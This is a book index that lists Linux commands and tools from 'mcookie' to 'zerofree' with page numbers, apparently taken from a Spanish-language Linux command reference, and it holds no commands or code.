mcookie . . . . .	394
mcp . . . . .	394
mccrypt . . . . .	395
md2term . . . . .	395
md5sum . . . . .	395
mdadm . . . . .	395
mdetect . . . . .	396
mdf2iso . . . . .	396
mdk3 . . . . .	396
mdm . . . . .	396
mdns-scan . . . . .	396
mdp . . . . .	396
mech-dump . . . . .	397
medusa . . . . .	397
melt . . . . .	398
members . . . . .	398
memoria . . . . .	398
memstat . . . . .	398
memtest86 . . . . .	398
memtester . . . . .	398
memusage . . . . .	398
mencal . . . . .	399
mencoder . . . . .	399
mesg . . . . .	400
messages . . . . .	400
metacaracteres . . . . .	400
metacity . . . . .	401

---

metapixel . . . . .	401
metasploit . . . . .	401
mgen . . . . .	403
mi . . . . .	403
microfono . . . . .	403
midori . . . . .	403
migrate-pubring-from-classic-gpg . . . . .	404
mii-tool . . . . .	404
mimetype . . . . .	404
mimic . . . . .	404
mimms . . . . .	404
minfo . . . . .	404
miniflux . . . . .	404
mirmon . . . . .	405
miscfiles . . . . .	405
mispipe . . . . .	405
mjpg-streamer . . . . .	405
mk-build-deps . . . . .	406
mkcert . . . . .	406
mkdir . . . . .	407
mkdosfs . . . . .	408
mke2fs . . . . .	408
mkeot . . . . .	408
mkfifo . . . . .	408
mkfs . . . . .	408
mkinitcpio . . . . .	409
mkisofs . . . . .	409
mknod . . . . .	409
mkntfs . . . . .	409
mkpasswd . . . . .	409
mkswap . . . . .	410
mktemp . . . . .	410
mktorrent . . . . .	410
mlabel . . . . .	410
mlcc . . . . .	410
mlterm . . . . .	410
mmaker . . . . .	411
mmv . . . . .	411
moc . . . . .	411
modem-3g . . . . .	413
modinfo . . . . .	413
module-assistant . . . . .	413
modulos . . . . .	413
mogrify . . . . .	414
moggsplit . . . . .	414
mokutil . . . . .	415
molly-guard . . . . .	415
mon . . . . .	415
monfailures . . . . .	415
monit . . . . .	416
monitorix . . . . .	418
monshow . . . . .	418
montage . . . . .	419
modprobe . . . . .	419
more . . . . .	419
moreutils . . . . .	420
morse . . . . .	420
morsegen . . . . .	420
mosaic . . . . .	420
mosh . . . . .	420
most . . . . .	420



motion . . . . .	421
mount . . . . .	421
mountpoint . . . . .	422
mp3blaster . . . . .	422
mp3check . . . . .	422
mp3gain . . . . .	422
mp3info . . . . .	422
mp3rename . . . . .	423
mp3report . . . . .	423
mpd . . . . .	423
mpg123 . . . . .	424
mpgtx . . . . .	424
mplayer . . . . .	424
mpstat . . . . .	425
mpsynt . . . . .	425
mpv . . . . .	425
mrename . . . . .	426
mrxvt . . . . .	426
msfconsole . . . . .	427
mtar . . . . .	429
mtr . . . . .	429
mtd-utils . . . . .	429
multitail . . . . .	429
munin . . . . .	430
mupdf . . . . .	430
muraster . . . . .	430
music123 . . . . .	431
mutagen-inspect . . . . .	431
mutool . . . . .	431
mutt . . . . .	431
mv . . . . .	432
mypager . . . . .	432
mysecureshell . . . . .	432
mysql . . . . .	433
mysqladmin . . . . .	439
mysqlreport . . . . .	439
mysql_secure_installation . . . . .	439
mysqlshow . . . . .	439
mysqltuner . . . . .	440
mytop . . . . .	440

## **N 442**

namecheck . . . . .	442
namei . . . . .	442
nameif . . . . .	442
nano . . . . .	443
nast . . . . .	444
nautilus . . . . .	444
nbsdgames . . . . .	445
nbtscan . . . . .	445
ncal . . . . .	446
ncdt . . . . .	446
ncdu . . . . .	446
ncmcpp . . . . .	446
ncurses-doc . . . . .	447
ncurses-examples . . . . .	447
ne . . . . .	447
needrestart . . . . .	447
needrestart-session . . . . .	447
neo . . . . .	447
neofetch . . . . .	448

nessus . . . . .	448
net-acct . . . . .	448
netcat . . . . .	448
netdiag . . . . .	449
netdiscover . . . . .	449
netfilter-persistent . . . . .	450
nethogs . . . . .	450
netload . . . . .	450
netmask . . . . .	450
netpbm . . . . .	450
netperf . . . . .	451
netplug . . . . .	451
netproc . . . . .	451
netr . . . . .	451
netrik . . . . .	451
netselect . . . . .	451
netsniff-ng . . . . .	452
netstat . . . . .	452
netstress . . . . .	453
netttlet-hash . . . . .	454
netwatch . . . . .	454
network-test . . . . .	454
netwox . . . . .	454
newgrp . . . . .	454
newpid . . . . .	454
newsbeuter . . . . .	455
newsboat . . . . .	456
nftables . . . . .	456
nfs . . . . .	457
nfslogsum . . . . .	458
nfsstat . . . . .	458
nfswatch . . . . .	458
ngrep . . . . .	458
nice . . . . .	459
nicstat . . . . .	459
nictools-pci . . . . .	459
nield . . . . .	459
nikto . . . . .	459
nitrogen . . . . .	460
nl . . . . .	460
nload . . . . .	460
nm . . . . .	460
nmap . . . . .	460
nmblookup . . . . .	465
nmcli . . . . .	465
nmon . . . . .	466
nnn . . . . .	466
noclobber . . . . .	466
nodau . . . . .	467
nohup . . . . .	467
noip2 . . . . .	467
nologin . . . . .	468
nanoid . . . . .	468
normalize . . . . .	468
normalizer . . . . .	468
notify . . . . .	469
notus-scanner . . . . .	469
npm . . . . .	469
nproc . . . . .	470
nrg2iso . . . . .	470
nrss . . . . .	470

nsd	470
nsenter	471
nslookup	471
nss-passwds	471
nstat	472
ntfs-3g	472
ntfscione	472
ntfsfix	472
ntfslabel	472
ntop	472
ntopng	473
ntpdate	473
number	473
numdiff	473
numfmt	473
numlockx	473
num-utils	474
nuspell	474
nuttcp	474
nvme-cli	474
nvrn-wakeup	474
nvtop	475
nwrite	475
nyancat	475

## O 476

o3read	476
obconf	476
objcopy	476
objdump	476
oblogout	476
obmenugen	476
oclock	477
octopress	477
od	482
odt2txt	483
ofris-en	483
ogg123	483
olive	483
omv-initsystem	483
omv-sysinfo	483
on_ac_power	484
oneko	484
only	484
oowrite	484
open	484
openbox	485
openclipart-svg	485
opendoas	486
openoffice	486
openssl	486
openvpn	487
openvt	487
opera	487
operadores	488
oping	489
opkg	489
optipng	489
orca	489
ossec	490
otfinfo	490

otp . . . . .	490
ots . . . . .	490
outguess . . . . .	490
owl . . . . .	491
owncloud . . . . .	491

## **P 492**

p0f . . . . .	492
p11tool . . . . .	492
pacdiffviewer . . . . .	492
package-update-indicator . . . . .	492
packer . . . . .	493
packit . . . . .	493
paclist . . . . .	493
pacman . . . . .	494
pacman-color . . . . .	495
pacman-optimize . . . . .	495
pacmd . . . . .	495
pacsearch . . . . .	495
pactree . . . . .	495
pacworld . . . . .	495
pads . . . . .	495
pagein . . . . .	495
pagemon . . . . .	496
pal . . . . .	496
pandoc . . . . .	496
paplay . . . . .	496
parallel . . . . .	496
paris-ping . . . . .	497
paris-traceroute . . . . .	497
parsero . . . . .	497
partclone . . . . .	497
parted . . . . .	497
partprobe . . . . .	498
partx . . . . .	499
pass . . . . .	499
passwd . . . . .	500
paste . . . . .	500
patat . . . . .	500
patator . . . . .	500
patch . . . . .	501
path . . . . .	501
pathchk . . . . .	502
patool . . . . .	502
pbzip2 . . . . .	502
pcaputils . . . . .	502
pcimodules . . . . .	502
pcmanfm . . . . .	503
pdb . . . . .	503
pdd . . . . .	503
pdf2djvu . . . . .	504
pdf2htmlex . . . . .	504
pdf2ps . . . . .	504
pdf2svg . . . . .	504
pdfcrack . . . . .	505
pdfcrop . . . . .	505
pdfdetach . . . . .	505
pdfimages . . . . .	505
pdfinfo . . . . .	505
pdfjoin . . . . .	505
pdflatex . . . . .	505

pdfnup . . . . .	506
pdfopen . . . . .	506
pdfresurrect . . . . .	506
pdfseparate . . . . .	506
pdfsig . . . . .	506
pdftk . . . . .	507
pdftocairo . . . . .	508
pdftohtml . . . . .	508
pdftops . . . . .	508
pdftotext . . . . .	508
pdfunite . . . . .	508
pebrot . . . . .	508
pee . . . . .	509
pentbox . . . . .	509
perftest . . . . .	509
pev . . . . .	509
peyote . . . . .	509
pg . . . . .	510
pgrep . . . . .	510
pgtop . . . . .	510
phockup . . . . .	510
phoronix . . . . .	511
photon . . . . .	511
photorec . . . . .	511
php . . . . .	511
phpshell . . . . .	512
pi . . . . .	512
pico . . . . .	513
pidof . . . . .	513
pidstat . . . . .	513
pig . . . . .	514
pigz . . . . .	514
pilfile . . . . .	514
pinfo . . . . .	514
ping . . . . .	516
pinky . . . . .	516
pip . . . . .	516
pipes . . . . .	517
pitidos . . . . .	517
pkaction . . . . .	517
pkcon . . . . .	518
pkexec . . . . .	518
pkill . . . . .	518
pktstat . . . . .	518
planets . . . . .	519
play . . . . .	519
plowshare . . . . .	519
pm . . . . .	519
pmacct . . . . .	520
pmap . . . . .	520
pmdk-tools . . . . .	520
pmie . . . . .	520
pmount . . . . .	521
pmt- . . . . .	521
pm-utils . . . . .	522
png2html . . . . .	522
pngcheck . . . . .	522
pngcrush . . . . .	522
pngmeta . . . . .	523
pngnq . . . . .	523
pngphoon . . . . .	523

---

pngquant . . . . .	523
pngsplit . . . . .	523
pngtools . . . . .	524
pnsca . . . . .	524
pom . . . . .	524
pompem . . . . .	524
popbugs . . . . .	524
popd . . . . .	525
poppassd . . . . .	525
popularity-contest . . . . .	525
porg . . . . .	526
portsentry . . . . .	526
postgres . . . . .	527
powerdebug . . . . .	528
powerline . . . . .	528
poweroff . . . . .	529
powerstat . . . . .	529
powertop . . . . .	529
ppp . . . . .	529
ppt . . . . .	530
pr . . . . .	530
prads . . . . .	530
prelink . . . . .	530
preload . . . . .	530
prettytyping . . . . .	530
primes . . . . .	531
printenv . . . . .	531
printf . . . . .	531
prips . . . . .	532
privoxy . . . . .	532
procdump . . . . .	532
procenv . . . . .	532
procinfo . . . . .	533
procps . . . . .	533
procs . . . . .	533
proftpd . . . . .	533
progress . . . . .	533
proxchains . . . . .	534
prozilla . . . . .	534
ps . . . . .	534
ps2pdf . . . . .	535
psad . . . . .	535
psbook . . . . .	536
psktool . . . . .	536
pslist . . . . .	536
pslog . . . . .	536
ps_mem . . . . .	537
psmisc . . . . .	537
psst . . . . .	537
pstotext . . . . .	537
pstree . . . . .	537
psutils . . . . .	537
ptop . . . . .	538
ptx . . . . .	538
pub2odg . . . . .	538
pulseaudio . . . . .	538
pureline . . . . .	538
purge-old-kernels . . . . .	539
pushd . . . . .	539
p . . . . .	539
pvd . . . . .	539

pvesh . . . . .	540
pwck . . . . .	540
pwconv . . . . .	540
pwd . . . . .	540
pwdx . . . . .	540
pwgen . . . . .	541
pwman3 . . . . .	541
pwunconv . . . . .	541
pydf . . . . .	542
pydoc . . . . .	542
pygtail . . . . .	542
pyhtmlizer . . . . .	542
pyphoon . . . . .	542
pyradio . . . . .	543
pyroom . . . . .	543
python . . . . .	543
python-hachoir-metadata . . . . .	544
pyversions . . . . .	544
px . . . . .	544

## Q 545

qcp . . . . .	545
qemu-nbd . . . . .	545
qiv . . . . .	545
qmv . . . . .	545
qpdf . . . . .	545
qrencode . . . . .	546
quiterss . . . . .	546
quiz . . . . .	546
quota . . . . .	547
quotacheck . . . . .	547

## R 548

radeontop . . . . .	548
rain . . . . .	548
rails . . . . .	548
ramfs . . . . .	548
randmac . . . . .	549
random . . . . .	549
randtype . . . . .	549
ranger . . . . .	549
rankmirrors . . . . .	550
ranlib . . . . .	550
rar . . . . .	550
rarcrack . . . . .	551
rarp . . . . .	551
raspi-config . . . . .	551
ratpoison . . . . .	551
rbash . . . . .	553
rbenv . . . . .	553
rcconf . . . . .	553
rc.d . . . . .	553
rdesktop . . . . .	554
rdiff-backup . . . . .	554
read . . . . .	554
readlink . . . . .	554
readonly . . . . .	555
readpst . . . . .	555
realpath . . . . .	555
reaver . . . . .	555
reboot . . . . .	555

---

recap . . . . .	555
recaplog . . . . .	556
recaptool . . . . .	556
recode . . . . .	556
recordmydesktop . . . . .	556
red . . . . .	557
redireccionar . . . . .	557
ree . . . . .	557
reflector . . . . .	558
regionset . . . . .	558
reiserfsck . . . . .	558
reisub . . . . .	558
remove-shell . . . . .	559
rename . . . . .	559
renice . . . . .	559
replace . . . . .	559
reportbug . . . . .	559
reset . . . . .	560
resize . . . . .	560
resize2fs . . . . .	560
resolvectl . . . . .	560
resolveip . . . . .	560
restic . . . . .	560
restore . . . . .	561
retty . . . . .	561
rev . . . . .	561
rfkill . . . . .	561
rig . . . . .	562
ripgrep . . . . .	562
ripit . . . . .	562
rkhunter . . . . .	562
rkill . . . . .	565
rl . . . . .	565
rlogin . . . . .	565
rm . . . . .	565
rmdir . . . . .	566
robots.txt . . . . .	566
ronn . . . . .	567
root-tail . . . . .	567
rotatelogs . . . . .	567
rotix . . . . .	567
route . . . . .	567
routef . . . . .	568
routel . . . . .	568
rpcinfo . . . . .	568
rpm . . . . .	568
rrenice . . . . .	568
rsnapshot . . . . .	569
rssh . . . . .	569
rsstail . . . . .	570
rsync . . . . .	570
rsyslog . . . . .	571
rtacct . . . . .	571
rtc . . . . .	572
rtcwake . . . . .	572
rtkitctl . . . . .	573
rtla . . . . .	573
rtmon . . . . .	574
rtorrent . . . . .	574
rt-tests . . . . .	574
ruby . . . . .	574



runlevel . . . . .	575
runlim . . . . .	575
run-parts . . . . .	575
ruplacer . . . . .	575
ruptime . . . . .	575
rusers . . . . .	576
rvn . . . . .	576
rwwho . . . . .	576
rxvt . . . . .	577
rxvt-unicode . . . . .	577
rzip . . . . .	577

**S 578**

s . . . . .	578
s-tui . . . . .	578
sa . . . . .	579
sac . . . . .	579
sadf . . . . .	579
sagan . . . . .	579
saidar . . . . .	580
sakura . . . . .	580
samhain . . . . .	580
sane . . . . .	580
sane-find-scanner . . . . .	580
sar . . . . .	581
sarg . . . . .	581
sash . . . . .	581
sbws . . . . .	582
sc . . . . .	582
scalpel . . . . .	582
scan . . . . .	582
scanadf . . . . .	583
scanimage . . . . .	583
scanlogd . . . . .	583
schroot . . . . .	583
scout_realtime . . . . .	584
scp . . . . .	584
screen . . . . .	585
screenfetch . . . . .	586
screenkey . . . . .	586
scribes . . . . .	586
script . . . . .	587
scrot . . . . .	587
scrounge-ntfs . . . . .	588
sd . . . . .	588
sdate . . . . .	588
sdcv . . . . .	588
sdf . . . . .	588
sdiff . . . . .	588
sdmem . . . . .	589
seashells . . . . .	589
sed . . . . .	589
see . . . . .	592
seeker . . . . .	593
select . . . . .	593
select-default-ispell . . . . .	594
select-default-wordlist . . . . .	594
select-editor . . . . .	594
selinux . . . . .	594
sendmail . . . . .	595
sensible-utils . . . . .	595

---

sensors . . . . .	595
sensors-conf-convert . . . . .	596
sensors-detect . . . . .	596
seq . . . . .	596
service . . . . .	596
sestatus . . . . .	596
set . . . . .	597
setarch . . . . .	597
setcap . . . . .	597
setfacl . . . . .	598
setfont . . . . .	598
setleds . . . . .	598
setlogcons . . . . .	598
setools . . . . .	599
setpci . . . . .	599
setsebool . . . . .	599
setserial . . . . .	599
setsid . . . . .	599
setterm . . . . .	599
setxkbmap . . . . .	600
sexy-bash-prompt . . . . .	600
sfdisk . . . . .	600
sfill . . . . .	600
sftp . . . . .	601
sg . . . . .	601
sh . . . . .	601
shadow . . . . .	601
shar . . . . .	602
sharness . . . . .	602
shasum . . . . .	603
sha1sum . . . . .	603
shc . . . . .	603
shell . . . . .	603
shellcheck . . . . .	604
shelltestrunner . . . . .	604
shelr . . . . .	604
shift . . . . .	605
shodan . . . . .	605
shodan-cli . . . . .	606
shopt . . . . .	606
shorewall . . . . .	607
show_all_colors . . . . .	608
showconsolefonts . . . . .	608
showfigfonts . . . . .	608
showfsck . . . . .	608
showkey . . . . .	608
showrgb . . . . .	608
shred . . . . .	609
shuf . . . . .	609
shutdown . . . . .	609
sic . . . . .	610
signos y comodines . . . . .	610
siggen . . . . .	611
sigtool . . . . .	611
simhash . . . . .	611
similarity-tester . . . . .	611
sistema gráfico . . . . .	611
skdet . . . . .	612
skel . . . . .	612
skill . . . . .	612
sl . . . . .	612

---

slackpkg . . . . .	613
slay . . . . .	613
sleep . . . . .	613
slim . . . . .	614
slowhttptest . . . . .	614
slurm . . . . .	614
smartctl . . . . .	615
smbclient . . . . .	616
smbstatus . . . . .	616
smem . . . . .	616
smemstat . . . . .	616
snapped . . . . .	617
snarf . . . . .	617
sniffit . . . . .	617
snoopy . . . . .	618
snooze . . . . .	618
snort . . . . .	618
sntop . . . . .	619
socklist . . . . .	619
sockperf . . . . .	619
sockstat . . . . .	619
softflowd . . . . .	620
somafm . . . . .	620
sonic . . . . .	620
sonido . . . . .	621
sort . . . . .	622
sosreport . . . . .	623
source . . . . .	623
sources.list . . . . .	623
sox . . . . .	624
spacedream . . . . .	624
speaker-test . . . . .	624
spd-conf . . . . .	624
speedometer . . . . .	625
speedtest_cli . . . . .	625
spew . . . . .	625
split . . . . .	626
split-logfile . . . . .	626
splitvt . . . . .	626
sponge . . . . .	626
spumux . . . . .	627
sqlite . . . . .	627
sqlmap . . . . .	628
squid . . . . .	628
srm . . . . .	629
srptool . . . . .	629
ss . . . . .	629
sscg . . . . .	630
ssh . . . . .	630
ssconvert . . . . .	633
ssed . . . . .	633
ssft . . . . .	633
sshd . . . . .	634
sshfs . . . . .	634
sshguard . . . . .	634
ssh-keygen . . . . .	634
sshpas . . . . .	635
sshuttle . . . . .	635
sslstrip . . . . .	635
ssmtp . . . . .	636
sswap . . . . .	636

st . . . . .	636
stalonetray . . . . .	636
starship . . . . .	637
startlxde . . . . .	637
startx . . . . .	637
stat . . . . .	637
status . . . . .	638
stdbuf . . . . .	638
stdsyslog . . . . .	638
steghide . . . . .	638
stjerm . . . . .	639
strace . . . . .	639
streamripper . . . . .	639
stress . . . . .	639
stressant . . . . .	640
stressapptest . . . . .	640
strings . . . . .	640
stterm . . . . .	640
stty . . . . .	640
stumpwm . . . . .	641
su . . . . .	643
sublime-text . . . . .	643
subnetcalc . . . . .	643
subversion . . . . .	644
sudo . . . . .	644
sudoeedit . . . . .	644
sudosh . . . . .	645
sulogin . . . . .	645
sum . . . . .	645
summain . . . . .	645
surf . . . . .	646
surfraw . . . . .	646
suricata . . . . .	646
suspend . . . . .	647
suspicious-source . . . . .	647
swap . . . . .	647
swapoff . . . . .	647
swapon . . . . .	647
swappiness . . . . .	647
swapspace . . . . .	647
sxiv . . . . .	648
synaptic . . . . .	648
sync . . . . .	648
synclient . . . . .	648
sysbench . . . . .	648
sysctl . . . . .	649
syslinux . . . . .	649
syslinux-utils . . . . .	649
syslogout . . . . .	649
system-config-printer . . . . .	650
systemctl . . . . .	650
systemd-analyze . . . . .	651
systune . . . . .	652
sysvbanner . . . . .	652
sysv-rc-conf . . . . .	652

<b>T</b>	<b>653</b>
tac . . . . .	653
tail . . . . .	653
taktuk . . . . .	653
talk . . . . .	654

tapestat . . . . .	654
taptempo . . . . .	654
tar . . . . .	654
tarcats . . . . .	655
tc . . . . .	655
tcpbench . . . . .	656
tcpdump . . . . .	656
tcpick . . . . .	657
tcpkill . . . . .	658
tcpstat . . . . .	658
tcptrack . . . . .	658
tdc . . . . .	658
teclado . . . . .	659
tee . . . . .	659
telegram . . . . .	659
telinit . . . . .	660
telnet . . . . .	660
tempfile . . . . .	661
terminal . . . . .	661
terminalize . . . . .	661
terminator . . . . .	661
terminology . . . . .	662
termit . . . . .	662
termite . . . . .	662
termsaver . . . . .	662
termtosvg . . . . .	663
test . . . . .	663
testdisk . . . . .	663
texi2html . . . . .	663
tfortune . . . . .	663
thefuck . . . . .	664
themonospot . . . . .	664
thermald . . . . .	664
thunar . . . . .	664
thunderbird . . . . .	665
tidy . . . . .	665
tiger . . . . .	665
tightvncserver . . . . .	665
tilix . . . . .	666
time . . . . .	666
timedatectl . . . . .	666
timelimit . . . . .	666
timeout . . . . .	666
times . . . . .	667
timidity . . . . .	667
tinfileak . . . . .	667
tinyproxy . . . . .	668
tiptop . . . . .	668
tldr . . . . .	668
tleds . . . . .	668
tload . . . . .	668
tlp . . . . .	669
tmpfs . . . . .	669
tmux . . . . .	669
tmuxinator . . . . .	671
toe . . . . .	671
toilet . . . . .	671
tomb . . . . .	671
toot . . . . .	672
top . . . . .	672
toplip . . . . .	673

torify . . . . .	674
tor-resolve . . . . .	674
torsocks . . . . .	674
totem . . . . .	674
touch . . . . .	674
tpp . . . . .	675
tput . . . . .	677
tr . . . . .	677
traceroute . . . . .	678
trafshow . . . . .	678
tran . . . . .	678
trans . . . . .	678
transmission-remote-cli . . . . .	678
trap . . . . .	679
trash-cli . . . . .	679
tree . . . . .	679
treil . . . . .	680
trickle . . . . .	680
trimage . . . . .	680
tripwire . . . . .	680
trocla . . . . .	681
true . . . . .	681
truecrypt . . . . .	681
trueprint . . . . .	682
truncate . . . . .	682
ts . . . . .	683
tset . . . . .	683
tshark . . . . .	683
tsort . . . . .	683
ttv . . . . .	684
tty . . . . .	684
tty-clock . . . . .	684
ttygif . . . . .	684
ttylog . . . . .	684
ttyrec . . . . .	685
ttysnoop . . . . .	685
tuberias . . . . .	686
tune2fs . . . . .	687
tuned . . . . .	688
tuptime . . . . .	688
tv3 . . . . .	688
TVenLinux.sh . . . . .	689
twidge . . . . .	689
twistd . . . . .	689
twitter . . . . .	689
txt2html . . . . .	690
txt2man . . . . .	690
txt2tags . . . . .	690
type . . . . .	690
typeset . . . . .	691
tzdiff . . . . .	691
tzconfig . . . . .	691
tzselect . . . . .	691
tzwatch . . . . .	691

## U 692

ubuntu-packaging-guide-html . . . . .	692
ubuntu-support-status . . . . .	692
uchardet . . . . .	692
udev . . . . .	692
udevil . . . . .	693

---

udiskie . . . . .	693
udisks . . . . .	693
udisks2 . . . . .	693
ufw . . . . .	694
ul . . . . .	694
ulimit . . . . .	695
umask . . . . .	696
umount . . . . .	696
unaccent . . . . .	696
unalias . . . . .	697
uname . . . . .	697
unar . . . . .	697
unattended-upgrades . . . . .	697
unbound . . . . .	697
undbx . . . . .	698
undertime . . . . .	698
unexpand . . . . .	698
unhide . . . . .	698
unhtml . . . . .	699
unicode . . . . .	699
unicode_start . . . . .	699
unicode_stop . . . . .	700
unimatrix . . . . .	700
uniq . . . . .	700
unison . . . . .	700
units . . . . .	701
unity . . . . .	701
unix2dos . . . . .	701
unlink . . . . .	702
unoconv . . . . .	702
unopkg . . . . .	702
unp . . . . .	703
unrar . . . . .	703
unshadow . . . . .	703
unset . . . . .	703
unsort . . . . .	703
until . . . . .	703
unzip . . . . .	704
update-alternatives . . . . .	704
update-binfmts . . . . .	704
update-ca-certificates . . . . .	705
update-catalog . . . . .	705
update-cracklib . . . . .	705
update-desktop-database . . . . .	705
update-dlocatedb . . . . .	705
update-dictcommon-aspell . . . . .	706
update-fonts-dir . . . . .	706
update-fonts-scale . . . . .	706
update-geoip-database . . . . .	706
update-grub . . . . .	706
update-icon-caches . . . . .	706
update-ieee-data . . . . .	707
update-info-dir . . . . .	707
update-initramfs . . . . .	707
update-locale . . . . .	707
update-manager . . . . .	707
update-menus . . . . .	707
update-mime . . . . .	708
update-mime-database . . . . .	708
update-passwd . . . . .	708
update-pciids . . . . .	708

update-perl-sax-parsers . . . . .	708
update-rc.d . . . . .	709
update-shells . . . . .	709
update-system . . . . .	709
update-usbids . . . . .	709
upower . . . . .	709
uptime . . . . .	709
uptimed . . . . .	710
urlcrazy . . . . .	710
urlview . . . . .	710
urlwatch . . . . .	710
usb-devices . . . . .	710
usb_modeswitch . . . . .	711
usbhid-dump . . . . .	711
usbmount . . . . .	711
usbtopy . . . . .	712
usbutils . . . . .	712
uscan . . . . .	712
useradd . . . . .	712
userdel . . . . .	713
user-dirs.dirs . . . . .	713
usermod . . . . .	714
userpath . . . . .	714
users . . . . .	714
user-setup . . . . .	714
utorrent . . . . .	715
uuencode . . . . .	715
uuid . . . . .	716
uuidcdef . . . . .	716
uuuid . . . . .	716
uuidgen . . . . .	716
uuidparse . . . . .	717
uz . . . . .	717
uzbl-browser . . . . .	717

## V 718

validlocale . . . . .	718
variables . . . . .	718
vbetool . . . . .	719
vdir . . . . .	719
verse . . . . .	720
vfu . . . . .	720
vglconnect . . . . .	720
vglrun . . . . .	720
video . . . . .	720
videoob . . . . .	721
videotop . . . . .	721
videotrans . . . . .	721
vidir . . . . .	721
view . . . . .	721
viewres . . . . .	722
vifm . . . . .	722
vigpg . . . . .	722
vigr . . . . .	722
vilistextum . . . . .	722
vim . . . . .	722
vimtutor . . . . .	726
vinetto . . . . .	726
vipe . . . . .	726
vipw . . . . .	726
virtualbox . . . . .	727



virtualenv . . . . .	728
virt-what . . . . .	728
visitors . . . . .	728
visudo . . . . .	728
vlc . . . . .	728
vlock . . . . .	729
vmkfstools . . . . .	729
vmstat . . . . .	729
vmtouch . . . . .	729
vncrec . . . . .	730
vncserver . . . . .	730
vncviewer . . . . .	730
vnstat . . . . .	731
vnstati . . . . .	731
vobcopy . . . . .	731
vol_id . . . . .	731
vramsteg . . . . .	731
vrms . . . . .	732
vsftpd . . . . .	732
vtclock . . . . .	732
vte . . . . .	732
vtmc . . . . .	732
vtprint . . . . .	733
vttest . . . . .	733
vuls . . . . .	733
vzrestore . . . . .	733
vzdump . . . . .	733

## W

**734**

w . . . . .	734
w3m . . . . .	734
wajig . . . . .	735
wait . . . . .	735
wait-for-it . . . . .	735
wall . . . . .	735
wallstreet . . . . .	736
wapiti . . . . .	736
wapua . . . . .	736
wash . . . . .	736
watch . . . . .	737
watchcatd . . . . .	737
watchdog . . . . .	737
watchgnupg . . . . .	737
watson . . . . .	737
wavemon . . . . .	738
wc . . . . .	738
wcatalan . . . . .	738
wdctl . . . . .	738
wcd . . . . .	739
wdel . . . . .	739
wdiff . . . . .	739
weather . . . . .	739
webalizer . . . . .	739
webcheck . . . . .	740
web2disk . . . . .	740
webfsd . . . . .	740
webkit2pdf . . . . .	740
webood . . . . .	740
weboorrents . . . . .	741
webp . . . . .	741
webpng . . . . .	741

---

websploit . . . . .	741
weechat-curses . . . . .	742
wetboobs . . . . .	742
wget . . . . .	742
whatis . . . . .	743
what-patch . . . . .	743
whatportis . . . . .	744
whatweb . . . . .	744
when . . . . .	744
whereami . . . . .	745
whereis . . . . .	745
which . . . . .	745
which.debianutils . . . . .	745
which-pkg-broke . . . . .	745
while . . . . .	746
whiptail . . . . .	747
who . . . . .	747
whodepends . . . . .	747
who-permits-upload . . . . .	747
who-uploads . . . . .	748
whoami . . . . .	748
whois . . . . .	748
wicd-curses . . . . .	748
wicd-gtk . . . . .	748
wifite . . . . .	748
wikipedia2text . . . . .	748
wikit . . . . .	749
windows . . . . .	749
wine . . . . .	751
winetricks . . . . .	751
wipe . . . . .	751
wird . . . . .	751
wkhtmltopdf . . . . .	751
wmbattery . . . . .	752
wmcalc . . . . .	752
wmclock . . . . .	752
wmclockmon . . . . .	752
wmclockmon-cal . . . . .	752
wmcpu . . . . .	752
wmcpuload . . . . .	752
wmctrl . . . . .	753
wmdate . . . . .	753
wmdiskmon . . . . .	753
wmfire . . . . .	753
wmforkplot . . . . .	753
wmfrog . . . . .	753
wmfsm . . . . .	753
wmgtemp . . . . .	753
wmhdplot . . . . .	754
wmifinfo . . . . .	754
wmifs . . . . .	754
wmtime . . . . .	754
wmload . . . . .	754
wmmatrix . . . . .	754
wmmemload . . . . .	754
wmmisc . . . . .	754
wmmon . . . . .	755
wmnd . . . . .	755
wmshutdown . . . . .	755
wnpp-alert . . . . .	755
wnpp-check . . . . .	755

wodim . . . . .	755
wondershaper . . . . .	756
wordplay . . . . .	756
wormhole . . . . .	756
worms . . . . .	756
wput . . . . .	757
write . . . . .	757
wspanish . . . . .	757
wttr . . . . .	757
wuzz . . . . .	757
wuzzah . . . . .	758
wyrd . . . . .	758

## **X 759**

x11vnc . . . . .	759
xampp . . . . .	760
xarclock . . . . .	761
xargs . . . . .	761
xauth . . . . .	761
xbacklight . . . . .	762
xbindkeys . . . . .	762
xboxdrv . . . . .	762
xclip . . . . .	763
xclock . . . . .	763
xcwd . . . . .	763
xdg . . . . .	763
xdotool . . . . .	764
xdpyinfo . . . . .	764
xephyr . . . . .	764
xev . . . . .	764
xfburn . . . . .	764
xfce4 . . . . .	765
xfe . . . . .	765
xflock4 . . . . .	765
xfm . . . . .	766
xfonts-utils . . . . .	766
xfpt . . . . .	766
xfrun4 . . . . .	766
xgamma . . . . .	766
xh . . . . .	766
xhost . . . . .	767
xidle . . . . .	767
xininfo . . . . .	767
xinit . . . . .	767
xinput . . . . .	767
xjokes . . . . .	767
xkcd-dl . . . . .	768
xkcdpass . . . . .	768
xkeycaps . . . . .	768
xkill . . . . .	768
xli . . . . .	768
xlock . . . . .	769
xlsclients . . . . .	769
xmem . . . . .	769
xmltoman . . . . .	769
xmllint . . . . .	769
xmlstarlet . . . . .	770
xmodmap . . . . .	770
xnest . . . . .	770
xpenguins . . . . .	770
xphoon . . . . .	771

xpra . . . . .	771
xprintidle . . . . .	771
xprobe . . . . .	771
xprop . . . . .	771
xrandr . . . . .	771
xrdb . . . . .	773
xrefresh . . . . .	773
xrestop . . . . .	773
xrootconsole . . . . .	773
xscreensaver . . . . .	773
xsel . . . . .	774
xset . . . . .	774
xss-lock . . . . .	774
xstarfish . . . . .	775
xtables_addons . . . . .	775
xterm . . . . .	775
xtermcontrol . . . . .	776
xtermset . . . . .	776
xtitle . . . . .	776
xttitle . . . . .	777
xtrlock . . . . .	777
xvfb-run . . . . .	777
xvkbd . . . . .	777
xwd . . . . .	777
xwininfo . . . . .	777
xwrits . . . . .	778
xymon . . . . .	778
xxd . . . . .	778
xxxterm . . . . .	778
xz . . . . .	779

**Y 780**

yacpi . . . . .	780
yacy . . . . .	780
yafc . . . . .	780
yaourt . . . . .	781
yapet . . . . .	781
yasat . . . . .	781
yash . . . . .	782
yelp . . . . .	782
yersinia . . . . .	782
yes . . . . .	782
yetris . . . . .	783
ylva . . . . .	783
yokadi . . . . .	783
you-get . . . . .	784
youtube-dl . . . . .	784
y-ppa-manager . . . . .	785
yt-dlp . . . . .	785
ytfzf . . . . .	785
ytree . . . . .	785
yum . . . . .	786

**Z 787**

zcat . . . . .	787
zcmp . . . . .	787
zdiff . . . . .	787
zdump . . . . .	787
zegrep . . . . .	787
zellij . . . . .	787
zenity . . . . .	787

---

zerofree . . . . .	788
